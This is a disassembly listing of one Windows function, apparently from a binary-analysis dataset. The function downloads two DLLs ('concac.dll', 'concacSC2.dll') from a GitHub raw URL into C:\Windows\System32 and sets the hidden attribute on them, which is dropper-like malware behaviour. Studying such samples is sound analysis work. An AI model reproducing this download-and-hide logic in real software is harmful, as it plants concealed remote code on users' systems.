Function at 0x140005520
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f], xmm0
mov ecx, 0x20
call fcn.14000d140
mov qword [rbp + 0x2f], rax
mov qword [rbp + 0x3f], 0x14
mov qword [rbp + 0x47], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem32_]
movups xmmword [rax], xmm0
mov ecx, dword [0x140011108]
mov dword [rax + 0x10], ecx
mov byte [rax + 0x14], 0
mov qword [rsp + 0x30], 0xa
lea rcx, str.concac.dll
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x14
mov r9, rax
lea rcx, [rbp - 0x11]
call fcn.14000b490
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x3f]
sub rax, rcx
cmp rax, 0xd
jb 0x140005989
lea r9, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0xf
cmova r9, qword [rbp + 0x2f]
mov qword [rsp + 0x30], 0xd
lea rax, str.concacSC2.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x31]
call fcn.14000b490
nop
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005615
test al, 0x10
je 0x14000571e
mov qword [rbp + 0x17], 0
mov ecx, 0x40
call fcn.14000d140
mov rcx, rax
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [0x1400121c0]
movdqu xmmword [rbp + 0x1f], xmm0
movups xmm0, xmmword [str.https:__github.com_trankhanhtinh1_pypaxx_raw_main_concac.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400111a0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400111b0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400111c0]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400111c8]
mov dword [rcx + 0x38], eax
mov byte [rcx + 0x3c], 0
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.1400045e0
movzx ebx, al
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x1400056c3
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400056be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
test bl, bl
je 0x1400056fb
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000571e
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 0xf
cmova rcx, qword [rbp - 0x11]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x14000571e
lea rdx, str.____Failed_to_download_concac.dll.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a490
mov rcx, rax
lea rdx, [0x14000a670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000573f
test al, 0x10
je 0x140005890
mov qword [rbp + 0x17], 0
mov ecx, 0x40
call fcn.14000d140
mov rcx, rax
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [0x1400121e0]
movdqu xmmword [rbp + 0x1f], xmm0
movaps xmm0, xmmword [str.https:__github.com_trankhanhtinh1_pypaxx_raw_main_concacSC2.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140011090]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400110a0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400110b0]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400110b8]
mov dword [rcx + 0x38], eax
movzx eax, word [0x1400110bc]
mov word [rcx + 0x3c], ax
movzx eax, byte [0x1400110be]
mov byte [rcx + 0x3e], al
mov byte [rcx + 0x3f], 0
lea rdx, [rbp - 0x31]
lea rcx, [rbp + 0xf]
call fcn.1400045e0
movzx ebx, al
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140005802
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
test bl, bl
je 0x140005838
lea rcx, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005838
lea rcx, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova rcx, qword [rbp - 0x31]
or eax, 2
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx edx, word [rbp + 0x17]
mov eax, 0xfffa
and dx, ax
or dx, 0xa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Checking_succesfully
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a490
mov rcx, rax
lea rdx, [0x14000a670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x1400058ce
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
movdqa xmm0, xmmword [0x140012180]
movdqu xmmword [rbp - 0x21], xmm0
mov byte [rbp - 0x31], 0
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x140005925
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005918
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
movdqa xmm0, xmmword [0x140012180]
movdqu xmmword [rbp - 1], xmm0
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp + 0x47]
cmp rdx, 0xf
jbe 0x14000596c
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005967
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005967
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000d17c
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14000d120
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rbp
ret
call fcn.140001330
nop
int3